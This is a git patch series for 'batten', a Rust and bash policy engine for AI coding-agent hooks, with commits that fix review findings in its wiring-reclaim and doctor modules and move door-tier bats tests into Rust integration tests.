-@test "a refusal is structurally unavailable here, so the turn always ends" { - # `Event::carries_a_verdict` is false at `Stop`, so even a handler exiting 2 - # has its refusal demoted to advice — the loophole `lib.rs` names, and the - # reason the CLOUD-889 runaway cannot come back through this row. Asserted - # over the emitted document because that is where a deny would have to appear. - door 'The rebase is clean. Worth noting that the lock file still drifts.' - [[ "$DOOR_OUT" != *'"permissionDecision"'* ]] - [[ "$DOOR_OUT" != *'"deny"'* ]] -} - -@test "the re-entry caused by a previous kick is silent through the door too" { - # The bound that makes this one nudge per turn rather than a runaway. It is - # the guard's own predicate over `stop_hook_active`, and it reads the host's - # payload — which the door hands through unchanged, and which is the one - # property a reader would reasonably fear the extra hop loses. - door 'Worth noting the drift.' true - [[ "$DOOR_OUT" != *"hedged-flag-framing"* ]] - [[ "$DOOR_ERR" != *"hook.handler stop-guard:"* ]] -} - -@test "the impersonation detector is live behind this row, not merely defined" { - # THE POSITIVE CONTROL. Every negative row above is also satisfied by a - # handler that never ran, so one row makes this one write the host document on - # purpose and requires the door to name it — and to drop it. - cat >"$REPO/mise-tasks/stop-guard.sh" <<-'SH' - #!/usr/bin/env bash - printf '{"hookSpecificOutput":{"hookEventName":"Stop","additionalContext":"SENTINELXYZZY"}}\n' - SH - chmod +x "$REPO/mise-tasks/stop-guard.sh" - door 'anything at all' - [[ "$DOOR_OUT" == *"hook.handler stop-guard: wrote a host decision document"* ]] - # The document it tried to write is DROPPED, not merged: its payload never - # reaches the model, which is the half that made this defect silent. - [[ "$DOOR_OUT" != *SENTINELXYZZY* ]] -} - -@test "the re-entry bound is the reason the violation above is not a runaway" { - # The engine relays a violation into the same channel the advisory uses, so a - # broken handler at `Stop` speaks once per turn rather than once per Stop — - # and it is the HANDLER's `stop_hook_active` read that bounds it, which a - # broken handler by definition may not be doing. Asserted here because it is - # the one place the two interact. - cat >"$REPO/mise-tasks/stop-guard.sh" <<-'SH' - #!/usr/bin/env bash - printf '{"hookSpecificOutput":{"hookEventName":"Stop","additionalContext":"SENTINELXYZZY"}}\n' - SH - chmod +x "$REPO/mise-tasks/stop-guard.sh" - door 'anything at all' true - # Still reported on the re-entry, because the engine cannot know the handler - # meant to stop — which is the cost of a broken handler, stated rather than - # assumed away, and exactly what the contract violation is telling the reader - # to go and fix. - [[ "$DOOR_OUT" == *"wrote a host decision document"* ]] - [[ "$DOOR_OUT" != *SENTINELXYZZY* ]] -} From 52ca12871fe24d2a91ae0eb87ef5df2798ecd997 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Thu, 27 Aug 2026 19:07:44 +0000 Subject: [PATCH 13/27] fix(wiring): four review findings, two of them the defect this branch removes MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Review of #714 raised six; four were real and are fixed here. Each was checked against the code rather than taken on faith, and the two marked below are the same shape as the defect this whole branch exists to remove — a mechanism that cannot distinguish two states it treats alike. **The record was written under one git dir and expired under another.** `run_wiring_reclaim` passed `git::repo_root(".")`; `expire_wiring_record` passes `hook_authority_root()`, and `anchor` answers `.` whenever `batten.toml` sits beside the caller where `repo_root` answers the MAIN repository's root. From a linked worktree those are two different git directories, so the repair would write a record the next `SessionStart` never clears and `doctor hooks` would stay red over a repair that already happened. That is CLOUD-824's defect one layer over, in a module whose own header cites it. Safe against the argument's other use: `same_file` canonicalizes both sides, so `.` and an absolute root resolve identically there. **THE EARLY RETURNS REPORTED A CLEAN MERGED SURFACE OVER ONE NOBODY READ.** `diagnose_harness`'s `row` closure filled all five merged dispositions with zero, and both early returns used it — so a harness whose COMMITTED file is missing or unparseable reported `read`, `absent`, `unreadable`, `deduplicated` and `unresolvable` all at 0. Neither of those conditions says anything about the surfaces the host MERGES: a repository with no settings file at all can still be running two launcher hooks out of `$HOME`, which is precisely the state CLOUD-525 measured and this census exists to see. It also broke `MergedTally::partitions` — the five must sum to `merge_surfaces().len()` and five zeroes do not — so it was a sixth disposition no counter named. The closure calls `diagnose_merged` now. Unobservable before this because `partitions` is only driven through `merged_under`, which is its own finding about where that invariant is asserted. **A truncating write over somebody else's configuration.** `std::fs::write` truncates before it writes, so a kill in between left the host a half-file — and these surfaces carry every key a consumer put beside the hook map, which this verb never read and does not understand. Losing them would be the repair destroying configuration outside its own subject, which is worse than leaving a sibling registered. Write-then-rename, staged in the same directory so the rename stays within one filesystem. **A doc comment cited a test that was never written.** `reclaim`'s header named `a_reclaim_records_before_it_repairs` as the assertion for record-before-repair. No such test exists. The property IS covered — `tests/wiring-reclaim.bats`, over the compiled binary against a real `$HOME`, which is the only tier that can see it — so the reference is corrected to the cases that exist rather than a case being written to match the name. Of the two not fixed: the man page's missing `-y` is not a finding, because `-y` comes from the globals (CLOUD-46) and `man/batten-capture-prune.1` omits it identically; and the `kicked()` helper in `tests/stop-guard.bats` is moot, that suite having retired with its subject. Refs: CLOUD-893, CLOUD-824, CLOUD-525 --- crates/batten/src/doctor.rs | 43 ++++++++++++++++++++++++++----------- crates/batten/src/lib.rs | 19 ++++++++++++++-- crates/batten/src/wiring.rs | 24 ++++++++++++++++++--- 3 files changed, 68 insertions(+), 18 deletions(-) diff --git a/crates/batten/src/doctor.rs b/crates/batten/src/doctor.rs index c8b05cc45..5a713034b 100644 --- a/crates/batten/src/doctor.rs +++ b/crates/batten/src/doctor.rs @@ -561,19 +561,36 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness, exclusive: bool) -> Opti let mut registrations = 0; let mut siblings = 0; - let row = |findings: Vec, registrations, siblings| HarnessWiring { - harness: harness.as_str(), - registrations, - siblings, - merged: 0, - merged_siblings: 0, - merged_surfaces_read: 0, - merged_surfaces_absent: 0, - merged_surfaces_unreadable: 0, - merged_surfaces_deduplicated: 0, - merged_surfaces_unresolvable: 0, - ok: findings.is_empty(), - findings, + // THE MERGED SURFACES ARE STILL INSPECTED ON THE EARLY-RETURN PATHS, and that + // is the whole reason this closure calls `diagnose_merged` rather than filling + // zeroes (caught in review of #714). + // + // Both early returns below are about the COMMITTED file — it is missing, or it + // will not parse. Neither says anything about the surfaces the host MERGES: a + // repository with no `settings.json` at all can still be running two launcher + // hooks out of `$HOME`, which is exactly the state CLOUD-525 measured and this + // census exists to see. Zeroing the five dispositions there would report a + // clean merged surface over one nobody looked at — a sixth disposition no + // counter names, which is the collapse the split counters were added to + // remove one level down. It would also break `MergedTally::partitions`: the + // five must sum to `merge_surfaces().len()`, and five zeroes do not. + let row = |mut findings: Vec, registrations, siblings| { + let merged = diagnose_merged(dir, harness, &command, exclusive); + findings.extend(merged.findings); + HarnessWiring { + harness: harness.as_str(), + registrations, + siblings, + merged: merged.commands, + merged_siblings: merged.siblings, + merged_surfaces_read: merged.read, + merged_surfaces_absent: merged.absent, + merged_surfaces_unreadable: merged.unreadable, + merged_surfaces_deduplicated: merged.deduplicated, + merged_surfaces_unresolvable: merged.unresolvable, + ok: findings.is_empty(), + findings, + } }; // ABSENT IS A FINDING, NEVER A PASS. A harness that declares a surface and diff --git a/crates/batten/src/lib.rs b/crates/batten/src/lib.rs index da40d5039..0cfdf4d6b 100644 --- a/crates/batten/src/lib.rs +++ b/crates/batten/src/lib.rs @@ -1530,7 +1530,22 @@ fn run_wiring_reclaim( ) -> Result { use etcetera::BaseStrategy as _; - let repo = git::repo_root(Path::new("."))?; + // `hook_authority_root`, NOT `git::repo_root` — and the difference is a linked + // worktree, which is CLOUD-824's defect one layer over. `reclaim` derives the + // at-load record path from this argument, and the only thing that EXPIRES that + // record is `expire_wiring_record`, which reads `hook_authority_root()`. + // `anchor` answers `.` whenever `batten.toml` sits beside the caller, where + // `repo_root` answers the MAIN repository's root; from a linked worktree those + // are two different git directories. So the pair would disagree: the repair + // writes a record the next `SessionStart` never clears, and `doctor hooks` + // stays red over a repair that already happened — the manufactured red that is + // this record's own false-green failure mode, inverted. + // + // Safe against the other use of this argument: `reclaim` also compares each + // merged surface against `dir.join(surface)` through `same_file`, which + // canonicalizes both sides, so a relative `.` and an absolute root resolve + // identically there. + let repo = hook_authority_root(); if !dry_run && !yes { // §4's refusal, unconditional for `capture prune`'s reason: the same // section says a policy engine that blocks a loop waiting for a Y/N is a @@ -1549,7 +1564,7 @@ fn run_wiring_reclaim( "wiring reclaim: no home directory resolves, so there are no merged surfaces to read", ) })?; - let done = wiring::reclaim(&repo, strategy.home_dir(), dry_run)?; + let done = wiring::reclaim(repo, strategy.home_dir(), dry_run)?; let verb = if dry_run { "would remove" } else { "removed" }; output::message( mode, diff --git a/crates/batten/src/wiring.rs b/crates/batten/src/wiring.rs index 725b78d2d..92b748098 100644 --- a/crates/batten/src/wiring.rs +++ b/crates/batten/src/wiring.rs @@ -274,8 +274,14 @@ impl Reclaimed { /// seventh adapter is reclaimed the day it lands instead of silently skipped. /// /// **The at-load record is written before the first byte changes**, and only when -/// none exists. `a_reclaim_records_before_it_repairs` is the assertion, driven by -/// making the repair itself fail: the record has to survive a write that did not. +/// none exists. The assertion is `tests/wiring-reclaim.bats`'s `RECORD BEFORE +/// REPAIR: the record carries the pre-repair count`, plus `the record is written +/// ONCE, so a second run cannot report the repair` for the only-when-none-exists +/// half — over the compiled binary and a real `$HOME` on disk, which is the tier +/// that can see this at all. A unit case here would build the document the engine +/// may be unable to locate, which is the shape `.claude/rules/policy-modules.md` +/// names. An earlier draft of this comment cited a Rust test name that was never +/// written; caught in review of #714. /// /// # Errors /// @@ -334,10 +340,22 @@ pub fn reclaim(dir: &Path, home: &Path, dry_run: bool) -> Result { // be on a committed file: these surfaces are untracked, launcher-owned // and rewritten wholesale at provisioning, so there are no bytes of // somebody's formatting to conserve and no golden to churn. + // + // WRITE-THEN-RENAME RATHER THAN A TRUNCATING WRITE, because of WHOSE bytes + // these are. `std::fs::write` truncates before it writes, so a kill in + // between leaves the host a half-file — and this document carries keys this + // verb never read and does not understand: everything a consumer put in its + // host settings beside the hook map. Losing them + // would be this repair destroying configuration outside its own subject, + // which is the one thing worse than leaving a sibling registered. The + // temporary sits in the SAME directory so the rename stays within one + // filesystem and is therefore atomic. + let staged = path.with_extension("json.batten-tmp"); std::fs::write( - &path, + &staged, format!("{}\n", serde_json::to_string_pretty(&document)?), )?; + std::fs::rename(&staged, &path)?; out.surfaces_written += 1; } Ok(out) From 4c1d71373bb7778342b9340d9a5b5c9d39aab18c Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Fri, 28 Aug 2026 05:54:24 +0000 Subject: [PATCH 14/27] fix(policy): place `wiring` in the layer table, and un-cross two rules in one fixture MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Both are rebase fallout, and both are what the refusing rule asked for rather than a relaxation of it. `module-layering` raised V-LAYER-UNPLACED on `crates/batten/src/wiring.rs`: the module arrived on a branch based before this table's last row, so nothing said so until `main` moved under it. That rule's own comment records the property working four times before — `brief`/`main`/`selfwrite`, then `patch`, `symbols`, `semver`, then `recorder` — and this is the fifth, on a rebase rather than on a fresh write. The row states the placement: `wiring` is the one module that EDITS a hook surface rather than reading one, so it sits beside `doctor` and below `hook`, and reaches no decider — the verdict about whether a registration may stand belongs to `[hook] exclusive` and to `hooks-wiring-check`, and this module only carries out a removal something else decided. That is what keeps `batten wiring reclaim` from becoming a second authority on registration policy. `pipeline_shapes::an_and_chain_is_allowed_because_it_cannot_manufacture_a_green` asserted that `mise exec -- cargo build && mise exec -- cargo test` is allowed. It is not, any more: these cases drive the real `batten.toml`, and once `run-shape-guard` went behind the door `batten hook` dispatches it, so the handler denies that command as a weaker form of two declared tasks (CLOUD-822) — correctly, and for a reason `verdict-not-discarded` has nothing to say about. That is the substitution `tests/run-shape-guard-door.bats`'s header warns about, running the other way round: there a handler's verdict could be supplied by an engine row, here an engine row's allow was masked by a handler's deny. Both are one config answering for two rules. The fixture now names a cargo subcommand no task wraps — the case that deny message itself calls untouched — so the `&&` property this row owns is what the case tests. If a task ever wraps `doc` or `bench` the line fails, and the fix is another genuine one-off, never a weakening of the handler. Refs: CLOUD-893, CLOUD-312 --- crates/batten/tests/pipeline_shapes.rs | 20 +++++++++++++++++++- policy/module-layering.rego | 14 ++++++++++++++ 2 files changed, 33 insertions(+), 1 deletion(-) diff --git a/crates/batten/tests/pipeline_shapes.rs b/crates/batten/tests/pipeline_shapes.rs index 721c8e499..4e923a8cf 100644 --- a/crates/batten/tests/pipeline_shapes.rs +++ b/crates/batten/tests/pipeline_shapes.rs @@ -129,7 +129,25 @@ fn an_and_chain_is_allowed_because_it_cannot_manufacture_a_green() { // `verify`'s own body is built from guarded chains for that property. assert_allowed("mise run fmt && mise run verify"); assert_allowed("git fetch origin main && git rebase origin/main"); - assert_allowed("mise exec -- cargo build && mise exec -- cargo test"); + // THE CARGO ARM MOVED, AND WHY IT HAD TO IS WORTH THE LINES (CLOUD-312 row + // 11). It read `mise exec -- cargo build && mise exec -- cargo test`, which + // is the shape an author would reach for — and it started failing the moment + // `run-shape-guard` went behind the door, because these cases drive the REAL + // `batten.toml` and the handler is now dispatched by `batten hook`. That + // command is a weaker form of two declared tasks, so the handler denies it + // (CLOUD-822), correctly and for a reason this row has nothing to say about. + // + // This is the substitution `tests/run-shape-guard-door.bats`'s header warns + // about, running the other way round: there a handler's verdict could be + // supplied by an engine row, here an engine row's allow was masked by a + // handler's deny. Both are one config answering for two rules. + // + // So the fixture names a cargo subcommand NO task wraps, which is the case + // that deny message itself calls untouched — the `&&` property is this row's + // subject and the cargo family is only how it is spelled. If a task ever + // wraps `doc` or `bench`, this line fails and the fix is to pick another + // genuine one-off, never to weaken the handler. + assert_allowed("mise exec -- cargo doc && mise exec -- cargo bench"); } #[test] diff --git a/policy/module-layering.rego b/policy/module-layering.rego index 35a601c32..4060db35d 100644 --- a/policy/module-layering.rego +++ b/policy/module-layering.rego @@ -103,6 +103,20 @@ declared_modules := { # artifacts and reads the volume — so it sits with the acquisition modules # and its back-edges are forbidden for their reason. "prune", + # `wiring` arrived with CLOUD-893 and it worked a sixth time, on a rebase + # rather than on a fresh write: the module landed on a branch based before + # this table's last row and nothing said so until `main` moved under it. + # + # It is a REPAIRER — the one module that edits a hook surface rather than + # reading one — so its placement is the interesting half. It sits beside + # `doctor`, which diagnoses the same surfaces it repairs, and below `hook`, + # whose `WiringFile` it reads to know which file is whose. It reaches no + # decider: the verdict about whether a registration may stand is + # `hooks-wiring-check`'s and the engine's `[hook] exclusive`, and this module + # only carries out a removal something else already decided, which is what + # keeps `batten wiring reclaim` from becoming a second authority on the + # registration policy. + "wiring", } # THE FORBIDDEN EDGES, each traceable to prose already in the tree. From 352b82819befa83b6a68fe6a1f534c75dc23014f Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Fri, 28 Aug 2026 14:29:45 +0000 Subject: [PATCH 15/27] test(door): the three door tiers move to Rust, and the corpus falls instead of growing MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit #718 landed `shell-retirement` after this branch was written, and it refuses every `tests/*.bats` this branch ADDS — correctly. CLOUD-843's campaign has to shrink the shell corpus rather than hold it level while the census reports movement, and three new bats suites are the corpus going the wrong way. Nothing about them needed bash. Each builds a fixture repository, copies the subject in from this tree, and drives the compiled binary over a real envelope — all of which Rust does with the helpers `crates/batten/tests/common` already carries, and which `.claude/rules/rust.md` already prefers for anything a consumer depends on. So they move, case for case and comment for comment: tests/run-shape-guard-door.bats -> crates/batten/tests/run_shape_guard_door.rs (9) tests/wiring-reclaim.bats -> crates/batten/tests/wiring_reclaim.rs (10) tests/connector-allow-door.bats -> crates/batten/tests/connector_allow_door.rs (7) 26 cases, all green, and the properties that made these files worth writing are carried rather than paraphrased: the fixture repositories still hold ONE handler row and no `[[rule]]` at all, so no engine verdict can stand in for a handler's — the substitution that hid CLOUD-312 row 5's defect for the life of that migration. Each file keeps its positive control, because every other case asserts the ABSENCE of a violation line and absence is also what a handler that never ran produces. Two properties got STRONGER in the move rather than merely surviving. The bats `door()` helper had to be called directly and never through `run`, because `run`'s subshell discarded the two variables and turned every negative assertion into a comparison against an empty string — measured on that suite's first execution, four of five cases green that way. A Rust helper returning a value cannot have that failure. And `wiring-reclaim.bats` guarded its subshell with an `if` so bats' `set -e` would not abort the case before `$?` could be read; the Rust version reads the status directly. `wiring_reclaim.rs` also gains one case the bats file could not easily state: `the_fixture_home_is_never_the_real_one`. The whole isolation argument of that file is that it must not repair the container it is measuring, and now something asserts it. `mise-tasks/container-preflight.sh` reverts to main's. Its entire diff was one `>&2` plus the comment explaining it — moving a success line off stdout so the door does not deliver a once-per-session advisory whose whole content is "nothing is wrong" (CLOUD-891). That is a real improvement and it is not worth an in-place edit of a shell gate under the rule above; the line is noise on the advisory channel, not a defect. Measured, `batten check --rule shell-retirement` on this branch: 12 findings before, 8 after. What remains is the hard core and is stated rather than absorbed — four `V-SHELL-RULE-EDITED` on programs CLOUD-312's own table designates as HANDLERS, external by intent, plus their suites. Those cannot move to Rego while `run-shape-guard`'s remaining families are blocked on CLOUD-613 for facts the mediated envelope does not carry. Refs: CLOUD-312, CLOUD-893, CLOUD-191, CLOUD-843 --- crates/batten/tests/connector_allow_door.rs | 332 ++++++++++++++++++ crates/batten/tests/run_shape_guard_door.rs | 280 ++++++++++++++++ crates/batten/tests/wiring_reclaim.rs | 352 ++++++++++++++++++++ mise-tasks/container-preflight.sh | 19 +- tests/connector-allow-door.bats | 226 ------------- tests/run-shape-guard-door.bats | 186 ----------- tests/wiring-reclaim.bats | 223 ------------- 7 files changed, 965 insertions(+), 653 deletions(-) create mode 100644 crates/batten/tests/connector_allow_door.rs create mode 100644 crates/batten/tests/run_shape_guard_door.rs create mode 100644 crates/batten/tests/wiring_reclaim.rs delete mode 100644 tests/connector-allow-door.bats delete mode 100644 tests/run-shape-guard-door.bats delete mode 100644 tests/wiring-reclaim.bats diff --git a/crates/batten/tests/connector_allow_door.rs b/crates/batten/tests/connector_allow_door.rs new file mode 100644 index 000000000..ba9064498 --- /dev/null +++ b/crates/batten/tests/connector_allow_door.rs @@ -0,0 +1,332 @@ +//! `connector-allow-guard` driven THROUGH the door, over the compiled binary. +//! +//! **The second tier, and the tier that finds this class.** +//! `tests/connector-allow-guard.bats` runs the script directly and reads what it +//! printed; that is the bash equivalent of a Rego module's `with input as`, and +//! `.claude/rules/policy-modules.md` names its failure exactly — it fabricates +//! the shape the ENGINE may be unable to consume, so a guard can pass its own +//! suite green while the door discards every verdict it produces. +//! +//! **WHICH IS WHAT HAPPENED.** `connector-allow-guard` retired from a direct +//! `PreToolUse` registration into a `[[hook.handler]]` row (CLOUD-312 row 5) and +//! kept writing `hookSpecificOutput` on stdout. Behind the door that is +//! `Violation::ImpersonatedHost`: reported on stderr, never forwarded. Measured +//! 2026-08-26 on this repository's live wiring — the guard's deny document was +//! dropped and the refusal the host received came from an unrelated engine row +//! that happens to cover the same tool. Every deny in the committed permission +//! table is covered that way, which is precisely why nothing went red. +//! +//! **EVERY CASE RUNS AGAINST A FIXTURE REPOSITORY CARRYING ONE ROW**: the +//! handler and nothing else. That isolation is the whole design. Driving the +//! real `batten.toml` would let another rule's verdict stand in for this one — +//! the exact substitution that hid the defect for the life of the migration. +//! +//! **Rust rather than a `.bats` suite** (CLOUD-843): `shell-retirement` refuses +//! a new one, correctly. The fixture and the binary are the same either way. + +// Panicking on setup failure is the idiomatic way for a test to fail loudly. +#![allow(clippy::unwrap_used, clippy::expect_used)] + +mod common; + +use std::path::{Path, PathBuf}; + +use common::{git_in, scratch, stderr, stdout, write}; + +fn repo_root() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../..") +} + +/// ONE ROW. No `[[rule]]` at all, so nothing in the engine can produce a verdict +/// of its own and be mistaken for the handler's. +const CONFIG: &str = r#"version = 1 + +[[hook.handler]] +id = "connector-allow-guard" +on = "pre-tool" +run = ["mise-tasks/connector-allow-guard.sh"] +matcher = "^mcp__" +timeout_ms = 5000 +preapproves = true +owner = "CLOUD-312" +expires = "2027-02-28" +"#; + +/// THE DENIED VERB IS ONE NO ENGINE ROW COVERS. `send_later` would have been the +/// natural fixture and is the wrong one: this repository's own +/// `no-scheduled-self-wakeup` refuses it, so a case built on it passes whether +/// the handler spoke or not. That substitution is the defect, not a detail. +const SETTINGS: &str = r#"{"permissions":{ + "allow":["mcp__Claude_Code_Remote__create_session"], + "deny":["mcp__Claude_Code_Remote__archive_session"] +}} +"#; + +const MCP_CONFIG: &str = r#"{"mcpServers":{ + "bbbbbbbb-5555-6666-7777-888888888888":{"url":"https://api.anthropic.com/v1/code/mcp/proxy?mcp_url=https%3A%2F%2Fapi.anthropic.com%2Fv1%2Fcode%2Fmcp%2Fmeta"} +}} +"#; + +const RESOLVABLE: &str = "mcp__bbbbbbbb-5555-6666-7777-888888888888"; + +struct Bench { + repo: PathBuf, + settings: PathBuf, + mcp_config: PathBuf, +} + +/// What the door said to the host, and what it said about the handler. +struct Door { + out: String, + err: String, +} + +impl Bench { + /// Hand one mediated call to the engine, keeping the two streams apart: the + /// verdict is on stdout, and the door reports a contract violation on + /// stderr. Merging them is how a dropped verdict reads as a delivered one. + fn door(&self, tool: &str) -> Door { + let payload = serde_json::json!({ + "hook_event_name": "PreToolUse", + "tool_name": tool, + "tool_input": {}, + }) + .to_string(); + + use std::io::Write as _; + let mut child = common::batten() + .current_dir(&self.repo) + .args(["hook", "--harness", "claude-code"]) + .env("BATTEN_MCP_SETTINGS", &self.settings) + .env("BATTEN_MCP_CONFIG", &self.mcp_config) + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .expect("the binary runs"); + child + .stdin + .take() + .expect("stdin is piped") + .write_all(payload.as_bytes()) + .expect("write stdin"); + let outcome = child.wait_with_output().expect("wait for batten"); + Door { + out: stdout(&outcome), + err: stderr(&outcome), + } + } +} + +fn bench(name: &str) -> Bench { + let dir = scratch(name); + let repo = dir.join("repo"); + std::fs::create_dir_all(repo.join("mise-tasks")).expect("the fixture repo"); + // Copied from the suite's own tree, so `mise run mutant` reaches this tier + // too: under `mutant` that tree is the mutated one. + for task in ["connector-allow-guard.sh", "connector-allow-resolve.sh"] { + let to = repo.join("mise-tasks").join(task); + std::fs::copy(repo_root().join("mise-tasks").join(task), &to) + .expect("the guard is copied from this tree"); + make_executable(&to); + } + write(&repo, "batten.toml", CONFIG); + git_in(&repo, &["init", "-q", "-b", "main", "."]); + + let settings = dir.join("settings.json"); + std::fs::write(&settings, SETTINGS).expect("the committed permission table"); + let mcp_config = dir.join("mcp-config.json"); + std::fs::write(&mcp_config, MCP_CONFIG).expect("the session's injected config"); + + Bench { + repo, + settings, + mcp_config, + } +} + +fn make_executable(path: &Path) { + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt as _; + let mut mode = std::fs::metadata(path) + .expect("the copy exists") + .permissions(); + mode.set_mode(0o755); + std::fs::set_permissions(path, mode).expect("the copy is runnable"); + } +} + +#[test] +fn the_measured_defect_the_door_forwards_no_host_document_the_handler_wrote() { + // The one case that would have caught the migration. Stated over the + // violation line rather than over the verdict, because the verdict was + // available from another rule and the violation line never is. + let bench = bench("cad-measured-defect"); + let answer = bench.door(&format!("{RESOLVABLE}__archive_session")); + assert!( + !answer.err.contains("wrote a host decision document"), + "{}", + answer.err + ); + assert!( + !answer.err.contains("hook.handler connector-allow-guard:"), + "{}", + answer.err + ); +} + +#[test] +fn a_committed_deny_reaches_the_host_as_the_engines_own_refusal() { + let bench = bench("cad-deny"); + let answer = bench.door(&format!("{RESOLVABLE}__archive_session")); + assert!( + answer.out.contains(r#""permissionDecision":"deny""#), + "{}", + answer.out + ); + // Rendered BY the engine and attributed to the handler — the difference + // between a verdict that travelled and one the guard printed. + assert!( + answer.out.contains("hook.handler.connector-allow-guard"), + "{}", + answer.out + ); + assert!(answer.out.contains("archive_session"), "{}", answer.out); + // Non-negotiable 4 survives the extra hop: the live key must not travel. + assert!(!answer.out.contains("bbbbbbbb"), "{}", answer.out); +} + +#[test] +fn a_committed_allow_reaches_the_host_as_a_preapproval_not_a_dropped_note() { + // THE CASE CLOUD-191 EXISTS FOR, and the one this suite could not assert for + // two commits. Each version was true when it was written: + // + // 1. The guard wrote `permissionDecision: "allow"` itself. Behind the door + // that is `Violation::ImpersonatedHost` — reported and dropped. + // 2. It emitted advisory text instead, correct under the contract and + // inert: `AdvisoryReach` for this host lists `PostToolBatch`, + // `SessionStart` and `Stop`, not the pre-tool event, so the reason + // landed on the engine's own stderr and the prompt came back anyway. + // 3. The row declares `preapproves`, so the same bytes are the reason on a + // channel the host honours. That is what this asserts. + // + // Asserted over the DOCUMENT rather than over "not denied", because a + // not-denied assertion is satisfied by a handler that never ran at all. + let bench = bench("cad-allow"); + let answer = bench.door(&format!("{RESOLVABLE}__create_session")); + assert!( + answer.out.contains(r#""permissionDecision":"allow""#), + "{}", + answer.out + ); + assert!( + answer + .out + .contains("already allows create_session on Claude_Code_Remote"), + "{}", + answer.out + ); + assert!( + answer.out.contains("hook.handler.connector-allow-guard"), + "{}", + answer.out + ); + // The grant is not ALSO advice: said twice, one copy would land on a channel + // that delivers nothing here and the reader would see the same sentence from + // two places. + assert!(answer.err.is_empty(), "{}", answer.err); + // Non-negotiable 4 holds on the grant's channel too. + assert!(!answer.out.contains("bbbbbbbb"), "{}", answer.out); +} + +#[test] +fn an_engine_deny_beats_a_handler_grant_on_the_same_call() { + // The safety property of the whole channel, and the only case that can fail + // if the composition is wrong. A grant may upgrade an allow and nothing else + // — so a handler that would pre-approve a call the engine refuses must lose, + // or a dispatched program could spend a verdict a rule reached. + // + // The fixture gains ONE rule refusing this exact tool, so the two answers + // collide on one call by construction rather than by coincidence. + let bench = bench("cad-engine-wins"); + let config = format!( + "{CONFIG}\n[[rule]]\nid = \"refuse-the-granted-tool\"\nkind = \"shape\"\n\ + scope = \"mediated_call\"\nseverity = \"deny\"\ntool = \"create_session\"\n\ + reason = \"the engine refuses this regardless of any grant\"\n" + ); + write(&bench.repo, "batten.toml", &config); + + let answer = bench.door(&format!("{RESOLVABLE}__create_session")); + assert!( + answer.out.contains(r#""permissionDecision":"deny""#), + "{}", + answer.out + ); + assert!( + answer.out.contains("refuse-the-granted-tool"), + "{}", + answer.out + ); + // And the grant is dropped rather than reported beside the refusal: printing + // "a handler wanted to allow this" next to a deny reads as a disagreement + // the reader has to arbitrate when the arbitration has already happened. + assert!(!answer.out.contains(r#""allow""#), "{}", answer.out); + assert!(!answer.out.contains("already allows"), "{}", answer.out); +} + +#[test] +fn the_impersonation_detector_is_live_behind_this_row() { + // THE POSITIVE CONTROL, and this suite is worth little without it: every + // other case asserts the ABSENCE of a violation line, and absence is also + // what a handler that never ran produces. So one case makes the handler + // write the host document on purpose and requires the door to say so. + // + // `interpret`'s own unit case pins the same predicate. It could not catch + // the defect this suite exists for, because what was wrong was a committed + // handler ROW rather than the interpreter. + let bench = bench("cad-impersonation"); + write( + &bench.repo, + "mise-tasks/connector-allow-guard.sh", + "#!/usr/bin/env bash\nprintf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"x\"}}\\n'\n", + ); + make_executable(&bench.repo.join("mise-tasks/connector-allow-guard.sh")); + + let answer = bench.door(&format!("{RESOLVABLE}__archive_session")); + assert!( + answer + .err + .contains("hook.handler connector-allow-guard: wrote a host decision document"), + "{}", + answer.err + ); + // And the refusal it tried to write did NOT become one. + assert!(!answer.out.contains(r#""deny""#), "{}", answer.out); +} + +#[test] +fn a_name_the_guard_cannot_resolve_leaves_the_call_undecided() { + // The load-bearing negative: a guard that refused everything would satisfy + // the deny case above and be useless (CLOUD-418). + let bench = bench("cad-unresolvable"); + let answer = bench.door("mcp__cccccccc-9999-0000-1111-222222222222__archive_session"); + assert!(!answer.out.contains(r#""deny""#), "{}", answer.out); + assert!( + !answer.err.contains("hook.handler connector-allow-guard:"), + "{}", + answer.err + ); +} + +#[test] +fn a_non_mcp_tool_never_reaches_the_handler_at_all() { + // `matcher` is what keeps a narrowed handler from costing a process on every + // call it is silent on, and a matcher selecting everything is expressible by + // accident. Asserted through the door because `selects_tool` is the + // engine's, not the script's. + let bench = bench("cad-non-mcp"); + let answer = bench.door("Bash"); + assert!(!answer.out.contains(r#""deny""#), "{}", answer.out); + assert!(answer.err.is_empty(), "{}", answer.err); +} diff --git a/crates/batten/tests/run_shape_guard_door.rs b/crates/batten/tests/run_shape_guard_door.rs new file mode 100644 index 000000000..0afcf96db --- /dev/null +++ b/crates/batten/tests/run_shape_guard_door.rs @@ -0,0 +1,280 @@ +//! `run-shape-guard` driven THROUGH the door, over the compiled binary. +//! +//! **The second tier for CLOUD-312 row 11, and CLOUD-312's own differential +//! obligation**: the retiring registration's fixtures replay through +//! `batten hook` before the registration is deleted. `tests/run-shape-guard.bats` +//! runs the script directly, which cannot answer the question that actually +//! broke the previous migration — whether the ENGINE can consume what this +//! script produces. +//! +//! It broke exactly once and silently: `connector-allow-guard` went behind the +//! door still writing `hookSpecificOutput` on stdout, which is +//! `Violation::ImpersonatedHost` — reported and never forwarded — so every +//! verdict it produced was discarded for the life of the migration and no suite +//! noticed. This file is the row that would have. +//! +//! **THE FIXTURE REPOSITORY CARRIES ONE HANDLER ROW AND NO `[[rule]]` AT ALL.** +//! That isolation is the whole design: `verdict-not-discarded` and the other +//! mediated rows in the real `batten.toml` refuse commands in this same family, +//! so driving the real config would let an engine row's verdict stand in for the +//! handler's — the substitution that hid the defect the first time. +//! +//! **Rust rather than a `.bats` suite** (CLOUD-843). `shell-retirement` refuses +//! a new `tests/*.bats`, and it is right to: the campaign's corpus has to shrink +//! rather than stay level while the census reports movement. Writing the +//! door tier here costs 